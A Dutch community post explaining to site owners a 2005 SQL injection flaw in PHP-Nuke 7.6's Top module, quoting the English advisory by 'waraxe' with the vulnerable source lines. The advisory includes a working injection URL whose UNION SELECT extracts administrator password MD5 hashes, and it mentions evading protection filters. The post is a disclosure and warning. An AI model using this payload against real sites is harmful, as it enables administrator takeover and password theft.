De security hole is ontdekt door Janek Vind "waraxe" van www.waraxe.us
...
Wat is er aan de hand?
Door middel van een query in the url te plaatsen is het mogelijk de MD5 hashes van de administrator te achterhalen.
Een query wordt gebruikt om informatie die opgeslagen is in de database te tonen aan diegene die deze query gebruikt. Een soort selectie methode.
MD5 hashes zijn hier encrypties van een password (een gecodeerd password).
Je database is de kern van jouw website, omdat alle informatie daarin is opgeslagen.
Wanneer iemand dus Admin rechten krijgt op jouw website, wat dus met behulp van die MD5 hashes verkregen kan worden, is het einde zoek. Je database kan bijvoorbeeld worden geleegd, er kan troep worden toegevoegd, verzin het zelf maar...
Meer info:
http://www.waraxe.us/advisory-41.html
http://www.securityfocus.com/archive/1/395132
Meer info gebruik MD5 hashes:
http://www.waraxe.us/ftopict-8.html#2682
Hieronder de beschrijving van de exploit:
Author: Janek Vind "waraxe"
Date: 06. April 2005
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-41.html
Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Php-Nuke is a popular opensource content management system, written in php by
Francisco Burzi. This CMS is used on many thousands websites, because it's
freeware, easy to install and manage and has broad set of features.
Homepage: http://phpnuke.org
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Like title says, this time the sql injection security hole have been found in
phpnuke "Top" module. Lets look @ source code of the phpnuke 7.6 top module
index file (/modules/Top/index.php) ~ line 186:
[original source code]
/* Top 10 Polls */
$result8 = $db->sql_query("select * from ".$prefix."_poll_desc $queryplang");
if ($db->sql_numrows($result8)>0) {
echo "
" ."$top "._VOTEDPOLLS." "; $lugar = 1; $result9 = sql_query("SELECT pollID, pollTitle, timeStamp, voters FROM ".$prefix."_poll_desc $querylang order by voters DESC limit 0,$top", $dbi); $counter = 0; [/original source code] And what's the problem? It appears, that variable "$querylang" is uninitialized. So, if we will "poison" php variable space through GET/POST/COOKIE, then sql query manipulation is possible. [real life exploit] http://localhost/nuke76/modules.php?name=Top&querylang=%20WHERE%201=2%20UNION %20ALL%20SELECT%201,pwd,1,1%20FROM%20nuke_authors/* [/real life exploit] ... and as result we can see md5 hashes of all the admin passwords in place, where normally top 10 votes can be seen :) Of course, mysql version 4.x must be used with enabled union functionality. And if there are Sentinel or similar protection systems installed, additional measures must be used to evade them. Have a nice day! How to fix: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ For help look @ http://www.waraxe.us/forums.html Additional resources: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Free Base64 decoder and encoder - http://base64-encoder-online.waraxe.us/ SiteMapper - free php script for phpNuke powered websites - newest version 0.4 can be downloaded @ http://sitemapper.waraxe.us/ Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to LINUX, murdock, g0df4th3r, slimjim100, shai-tan, y3dips and all other active members from my forum ! Special greets to Heintz - congrats about phpbb sploit finding ! Tervitused - Raido Kerna ! Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Homepage: http://www.waraxe.us/ ---------------------------------- [ EOF ] ------------------------------------ NukeSentinel heeft op PHP Nuke Nederland deze SQL Injection al verscheidene malen geblokkeerd! |
